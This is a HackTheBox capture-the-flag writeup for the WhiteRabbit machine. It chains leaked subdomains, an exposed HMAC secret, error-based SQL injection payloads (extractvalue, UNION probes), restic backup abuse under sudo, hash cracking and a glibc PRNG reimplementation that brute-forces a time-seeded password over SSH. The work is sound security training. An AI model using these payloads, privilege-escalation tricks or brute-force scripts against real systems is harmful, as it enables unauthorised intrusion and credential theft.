Eye of Ra
SECURITY RESEARCHAsbawy
cd ../writeups
2026-08-04·HackTheBox·Machine·22 min

WhiteRabbit — HackTheBox Machine Writeup

InsaneWeb Linux
WebUptime KumaWikiJSn8nHMACSQL InjectionRestic7zReverse Engineering
Exploit_Kill_Chain
3 Phases
01A status page that names the whole estate
Reconnaissance

The main site is a dead end, but an Uptime Kuma status page leaks hex-named internal subdomains for WikiJS and GoPhish. WikiJS is unauthenticated and its article on GoPhish webhooks ships the full n8n workflow JSON — HMAC secret, webhook path, and an injectable SQL query.

Tools:nmapffufUptime KumaWikiJS
02HMAC webhook SQLi -> restic backup -> SSH key
Exploitation

The workflow validates requests with HMAC-SHA256 but interpolates the email body straight into SQL. Error-based extractvalue leaks temp.command_log, exposing a restic repository URL and password. Restoring the backup yields a password-protected 7z; hashcat cracks it and the SSH key inside lands us in a container as bob, where sudo restic can back up /root.

Tech:Error-Based SQL Injection & Restic Sudo Abuse
Tools:python3extractvaluerestic7z2johnhashcat
03A password generator that tells time
Escalation

The stolen morpheus key opens the host SSH and user.txt. Root's password was set by a custom binary that seeds glibc's rand() with the millisecond timestamp. Disassembly recovers the exact algorithm; a pure-Python port of glibc's TYPE_3 generator reproduces 1000 candidate passwords for the logged run time, and the 31st one logs into neo.

Tech:PRNG Seed Recovery (Millisecond Timestamp Brute-Force)
Tools:radare2Cpython3paramiko
_

Challenge Overview

WhiteRabbit is a chain machine in the purest sense: five services, five credentials, and zero shortcuts. Nothing is directly exploitable from the outside; every stage exists to leak the next stage's secret. A status page names internal hosts, a wiki article ships a workflow's source, a signed webhook has an SQL injection that reads a command log, a backup reveals a 7z with an SSH key, sudo-restic steals the host user's key, and the final root password is generated by the clock. The machine is Insane not because any single step is hard, but because you must hold the whole graph in your head and not let any thread go cold.

Beginner note: keep a strict ledger of every subdomain, every secret, and every timestamp you find — this box is a chain of exactly that. The four hex subdomains (a668910b5514e, ddb09a8558c9, 28efa8f7df, 75951e6ff) each map to one service, and mixing them up wastes hours.

_

Enumeration

A full port scan shows a minimal external surface:

~ / text
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13.9 (host SSH)
80/tcp open http Caddy httpd
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13.5 (container SSH)

Two SSH daemons with different patch levels is the first tell: port 2222 is a container. Port 80 is Caddy, which typically proxies by virtual host — so subdomains are the attack surface (and we talk about this in Nexus — HackTheBox Machine Writeup, where we enumerate virtual hosts and handle intentional 302 redirects).

~ / bash
$ curl -s http://whiterabbit.htb/ | grep -oE '<title>[^<]*'
<title>White Rabbit - Pentesting Services
 
$ printf 'status\nadmin\ngit\nwiki\nn8n\nbilling\napi\nmail\nvpn\ndev\nwww\n' | \
ffuf -w - -u http://whiterabbit.htb -H "Host: FUZZ.whiterabbit.htb" -fc 302
status [Status: 302, Size: 0]

Only status shows up — and it redirects to /dashboard, which smells like Uptime Kuma (its dashboard is /dashboard). Uptime Kuma instances often expose a public status page; the default one lives at /status/<slug>. Trying /status/temp:

The status page is the machine's accidental gift: it renders the monitored endpoints' hostnames, which for this estate are the internal hex subdomains. No wordlist would ever find these — they are 9-13 character hex strings.

~ / bash
$ curl -s -H "Host: status.whiterabbit.htb" http://10.129.232.22/status/temp | \
grep -oE '[0-9a-f]{9,14}\.whiterabbit\.htb' | sort -u
a668910b5514e.whiterabbit.htb
ddb09a8558c9.whiterabbit.htb

Two live hex hosts: a668910b5514e and ddb09a8558c9. The second one presents a GoPhish-style page; the first serves Wiki.js (identifiable by its default page and GraphQL endpoint).

_

WikiJS — the workflow that ships its own secrets

Wiki.js with guest read access lets you list pages through its GraphQL API without authentication:

~ / bash
$ curl -s http://a668910b5514e.whiterabbit.htb/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ pages { list(orderBy: TITLE) { id path title } } }"}'
{"data":{"pages":{"list":[{"id":1,"path":"home","title":"home"},
{"id":2,"path":"gophish_webhooks","title":"gophish_webhooks"}]}}}

The page renders unauthenticated at /gophish_webhooks and is a mini-manual for wiring GoPhish to a phishing-score database via an n8n workflow. It documents the webhook endpoint:

  • POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d with Host: 28efa8f7df.whiterabbit.htb
  • Signature header x-gophish-signature: sha256=<HMAC-SHA256>
  • An attached workflow file: gophish_to_phishing_score_database.json

That attachment is the jackpot — it's the exported n8n workflow, i.e. the source code of the integration:

~ / bash
$ curl -s http://a668910b5514e.whiterabbit.htb/gophish/gophish_to_phishing_score_database.json -o wf.json

Parsing the JSON reveals the full request flow:

NodeWhat it does
WebhookReceives {"campaign_id", "email", "message"}
Check gophish headerFails if x-gophish-signature is missing
Extract signature / Calculate signatureHMAC-SHA256 of the compact JSON body with secret 3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS
Compare signatureRejects mismatches
Get current phishing scoreSELECT * FROM victims where email = "{{ $json.body.email }}" LIMIT 1raw interpolation
check if user exists in database$json.keys() — empty result ⇒ "user not in database"
If Clicked / If Submitted DataUPDATE the victim's score, respond "Success"
DEBUG: REMOVE SOONResponds {{ $json.message }} | {{ JSON.stringify($json.error) }} on node errors

Two things matter here. First, the HMAC secret is in the file, so we can sign our own requests (and we talk about this in Hammer — TryHackMe Writeup, where an exposed HMAC secret enabled signing and forging authentication tokens). Second, the SQL interpolates email with double quotes and no escaping — and the DEBUG node echoes the error message of a failed query. That is an error-based SQL injection with a signed, legitimate-looking request.

The signature is over json.dumps(..., separators=(',',':')) — compact JSON, no spaces. The example signature in the wiki article (cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd) is a perfect test vector: replicate it exactly and you know your signing code is byte-compatible before you ever hit the endpoint.

_

Foothold — HMAC-signed SQLi into a command log

Signing and sending the probe returns the oracle:

~ / python
import hmac, hashlib, json, requests
 
secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
payload = json.dumps({"campaign_id":1,"email":"probe@x.com","message":"Clicked Link"}, separators=(',',':'))
sig = "sha256=" + hmac.new(secret, payload.encode(), hashlib.sha256).hexdigest()
 
r = requests.post("http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d",
data=payload, headers={"Content-Type":"application/json","x-gophish-signature":sig})
print(r.status_code, r.text)

The query is SELECT * FROM victims where email = "..." LIMIT 1. Two probes confirm the injection points:

  • x" UNION SELECT 1,2,3 -- -"The used SELECT statements have a different number of columns" → error path live, victims has exactly 2 columns
  • x" AND extractvalue(1,concat(0x7e,version(),0x7e)) -- -XPATH syntax error: '~11.5.2-MariaDB-ubu2404~'error-based extraction works

This is the classic extractvalue / updatexml XPATH-error primitive: concat(0x7e, <expr>, 0x7e) leaks up to ~32 chars of any subquery in the error message. It's the only error surface the workflow has, but it is fully sufficient for arbitrary SELECTs — which is all we need (and we talk about this in our PHP Code Review Guide, where we examine SQL injection query sinks and string concatenation vulnerabilities).

The extraction loop substring((EXPR), pos, 30) walks any expression in 30-char chunks. First, orient: user() = phishing@172.18.0.8, databases = information_schema,phishing,temp. The temp database has exactly one table — command_log(id, command, date) — and it is a goldmine:

~ / text
id=1 uname -a 2024-08-30 10:44:01
id=2 restic init --repo rest:http://75951e6ff.whiterabbit.htb 2024-08-30 11:58:05
id=3 echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd 2024-08-30 11:58:36
id=4 rm -rf .bash_history 2024-08-30 11:59:02
id=5 #thatwasclose 2024-08-30 11:59:47
id=6 cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd 2024-08-30 14:40:42

Four leads in one table:

  1. A restic repository at rest:http://75951e6ff.whiterabbit.htb (another hex subdomain)
  2. Its password: ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
  3. A bash-history scrub (rm -rf .bash_history) — someone knew they'd left traces
  4. The ominous #thatwasclose — and, critically, the exact timestamp when the root password was regenerated: 2024-08-30 14:40:42

command_log is the machine's nervous system: it records the admin's own setup steps. The SQLi never needs to guess — the log hands us the repository URL, its password, and the precise instant the neo password was minted. Hold onto 14:40:42; it becomes the root exploit input.

_

Restic backup — a 7z that guards an SSH key

restic 0.18.0 speaks the REST backend natively. With the repository and password in hand, listing and restoring takes seconds:

~ / bash
$ export RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw
$ export RESTIC_REPOSITORY=rest:http://75951e6ff.whiterabbit.htb
$ ./restic snapshots
1 snapshots
$ ./restic restore latest --target restore/
$ find restore/ -type f
restore/dev/shm/bob/ssh/bob.7z

A single file: /dev/shm/bob/ssh/bob.7z — a password-protected 7z containing bob's SSH key material. 7z2john converts the archive to a crackable hash, and hashcat mode 11600 (7-Zip) with rockyou breaks it in seconds:

~ / bash
$ 7z2john bob.7z > bob.hash
$ hashcat -m 11600 bob.hash rockyou.txt --force
$7z$2$19$0$$8$61d81f6f...:1q2w3e4r5t6y

1q2w3e4r5t6y — a keyboard-mash password that only a dictionary would catch. Extracting yields bob (the private key) plus a config that tells us exactly where it goes: whiterabbit.htb, port 2222, user bob. That's the container.

_

Container — bob and sudo restic

~ / bash
$ ssh -i bob -p 2222 bob@whiterabbit.htb
bob@ebdce80611e9:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob:
env_reset, env_keep+=RESTIC_PASSWORD, secure_path=...
User bob may run the following commands on ebdce80611e9:
(root) NOPASSWD: /usr/bin/restic

sudo restic as root — and restic's whole job is reading and writing files. The classic abuse: back up /root into a repository we control (a local dir), then restic dump any file from the snapshot. Note env_keep+=RESTIC_PASSWORD — sudo explicitly preserves the password env var, so the whole flow runs non-interactively (and we talk about this in our Linux PrivEsc: Basics & Exploitation Cheatsheet and Linux PrivEsc: Enumeration & Recon Cheatsheet, where we cover NOPASSWD binary exploitation and env_keep environment variable preservation across sudo):

~ / bash
bob@ebdce80611e9:~$ cd /tmp && mkdir repo && cd repo
bob@ebdce80611e9:/tmp/repo$ echo pwn | sudo restic init -r .
bob@ebdce80611e9:/tmp/repo$ sudo RESTIC_PASSWORD=pwn restic -r . backup /root
...
bob@ebdce80611e9:/tmp/repo$ sudo RESTIC_PASSWORD=pwn restic -r . ls latest
/root/morpheus
/root/morpheus.pub

/root/morpheus is a private SSH key. Dump it, and the host (port 22) is one hop away:

~ / bash
$ sudo RESTIC_PASSWORD=pwn restic -r . dump latest /root/morpheus > /tmp/morpheus.key
$ chmod 600 /tmp/morpheus.key
$ ssh -i /tmp/morpheus.key morpheus@whiterabbit.htb -p 22
morpheus@whiterabbit:~$ id
uid=1000(morpheus) gid=1000(morpheus) groups=1000(morpheus)
user.txt
••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Privilege Escalation — a password generator that tells time

On the host, neo is the only other user and is in the sudo group. The command log said its password was generated by /opt/neo-password-generator/neo-password-generator at 2024-08-30 14:40:42. Pull the binary:

~ / bash
$ scp -i morpheus.key morpheus@whiterabbit.htb:/opt/neo-password-generator/neo-password-generator .
$ file neo-password-generator
ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

Not stripped — the function names survive. main disassembles to:

~ / c
// main
gettimeofday(&tv, 0); // var_20h = tv_sec, var_18h = tv_usec
seed = tv_sec * 1000 + tv_usec / 1000; // imul by 1000, magic-number div by 1000
srand((uint32_t)seed); // mov edi, eax -> LOW 32 BITS of seed
generate_password(seed);
 
// generate_password
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
// loop 20 times: putchar(charset[rand() % 62])
putchar('\n');

So the password is rand()-driven, 20 chars from a 62-char alphabet, seeded with the epoch milliseconds (truncated to 32 bits). That's the whole box: if we know the run time down to the millisecond, we know the password. The log gives us the second — 14:40:42 — and we only need to brute-force the millisecond, 0–999 (and we talk about this in Clocky — TryHackMe Writeup, where we forged reset tokens by brute-forcing the millisecond component of a timestamp, and in Neural Detonator — HackTheBox Writeup, where we reverse-engineered a custom PRNG seed derivation algorithm).

::Porting glibc's rand() to pure Python

The trap is that glibc's rand() is not a simple LCG. It's the TYPE_3 additive-feedback generator: a 31-word state table filled via Schrage's method, fptr=3/rptr=0, then 310 warm-up discard calls before the first output. The exact algorithm from stdlib/random_r.c:

~ / c
/* __srandom_r: state[0] = seed; then */
hi = word / 127773; lo = word % 127773; /* Schrage: no 31-bit overflow */
word = 16807 * lo - 2836 * hi; /* truncate to int32 */
if (word < 0) word += 2147483647;
/* state[1..30] filled; fptr=&state[3], rptr=&state[0] */
/* 310 warm-up discards: while (--kc >= 0) __random_r(&discard); */
 
/* __random_r: */
val = (uint32_t)state[fptr] + (uint32_t)state[rptr]; /* uint32 math! */
state[fptr] = (int32_t)val;
result = val >> 1; /* drop low bit */
/* advance fptr, rptr cyclically over the 31-word table */

Three details break naive ports: (1) the seed is interpreted as signed int32 (values ≥ 2³¹ become negative and the Schrage step runs on the signed value), (2) the state addition is uint32 — signed states must be re-cast before adding — and (3) the 310 discard calls happen before the first visible rand(). Get any of them wrong and every candidate password is wrong.

The verification loop is what makes this bulletproof: run the binary on the host, snapshot date +%s.%N around it, regenerate the same millisecond locally, and compare:

~ / bash
$ ssh morpheus@whiterabbit.htb 'date +%s.%N; /opt/neo-password-generator/neo-password-generator; date +%s.%N'
1785802664.177
goJiNYYEXPKOzhGLge9R
1785802664.178
 
$ ./gen_ts 1785802664 178 # local C port
goJiNYYEXPKOzhGLge9R # identical

The local port matches the host binary byte-for-byte at the same millisecond — the algorithm, the charset, the seed math, all confirmed. The pure-Python port reproduces the same outputs, which is what the brute force runs on.

::1000 candidates, one correct password

2024-08-30 14:40:42 UTC = epoch 1725028842. Generate 1000 passwords — seed = 1725028842*1000 + ms for ms in 0..999 — and try them against SSH as neo:

~ / bash
$ python3 - <<'EOF'
import calendar, datetime, paramiko, time
ts = calendar.timegm(datetime.datetime(2024,8,30,14,40,42).timetuple())
cands = [gen_password((ts*1000 + ms) & 0xFFFFFFFF) for ms in range(1000)] # 1000 candidates
for i, pw in enumerate(cands):
t = paramiko.Transport(("whiterabbit.htb", 22)); t.connect()
try:
t.auth_password("neo", pw)
if t.is_authenticated():
print(f"[+] {pw} (ms={i})"); break
except paramiko.AuthenticationException:
pass
finally:
t.close()
EOF
[+] WBSxhWgfnMiclrV4dqfj (ms=31)

The password is the 31st candidate — 14:40:42.031 UTC. The generator was run 31 milliseconds into the second, and glibc's PRNG turned that into a 20-char password that a dictionary could never find but a timestamp can.

Because one SSH transport can attempt many auth_password() calls in a single connection, the whole 1000-password sweep completes in about a minute. Never open a new connection per candidate.

~ / bash
neo@whiterabbit:~$ sudo -S id
[sudo] password for neo: WBSxhWgfnMiclrV4dqfj
uid=0(root) gid=0(root) groups=0(root)
root.txt
••••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Verification & Proof of Work

Two independent checks were performed before trusting the final flag:

  1. PRNG fidelity — the local C port and the pure-Python port were both verified against the live host binary at a known millisecond (goJiNYYEXPKOzhGLge9R at 1785802664.178). The brute force only ran after that byte-for-byte match.
  2. Chain integrity — every secret was consumed by the next stage exactly as recovered: command_log → restic password → bob.7z → container key → sudo restic → morpheus key → host SSH → user.txt; log timestamp → generated password → neoroot.txt. Both flags read over real SSH sessions on the live box.
_

Reusable Methodology

  1. Check Uptime Kuma public status pages (/status/<slug>) — they render monitored endpoints, which frequently exposes internal vhosts that no wordlist will ever hit.
  2. Treat exported workflow files as source code — n8n/Node-RED/Zapier exports contain endpoints, secrets, and the actual queries; the HMAC secret makes your injected requests look legitimate.
  3. Replicate documented signatures before attacking — the wiki article's example HMAC digest is a test vector: matching it byte-for-byte proves your signing code is right, so failures later are the target's, not yours.
  4. Prefer error-based SQLi when error messages are echoedextractvalue(1,concat(0x7e,<subquery>,0x7e)) turns any echoing error path into a full read primitive; walk it with substring() in fixed chunks.
  5. Dump configuration databases and command logs — tables like command_log record the admin's own setup: repository URLs, passwords, timestamps. Read the log, then replay the admin.
  6. Abuse backup tools for file disclosuresudo restic can init a repo anywhere and backup /root; anything readable by root becomes dumpable by you.
  7. Reverse the PRNG, not the password — when a password is machine-generated, find the seed source (here: epoch milliseconds from gettimeofday) and reimplement the generator exactly (signed/unsigned semantics, warm-up calls); a log timestamp plus a 0–999 ms sweep replaces all guessing.
_

References

about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup — return /writeups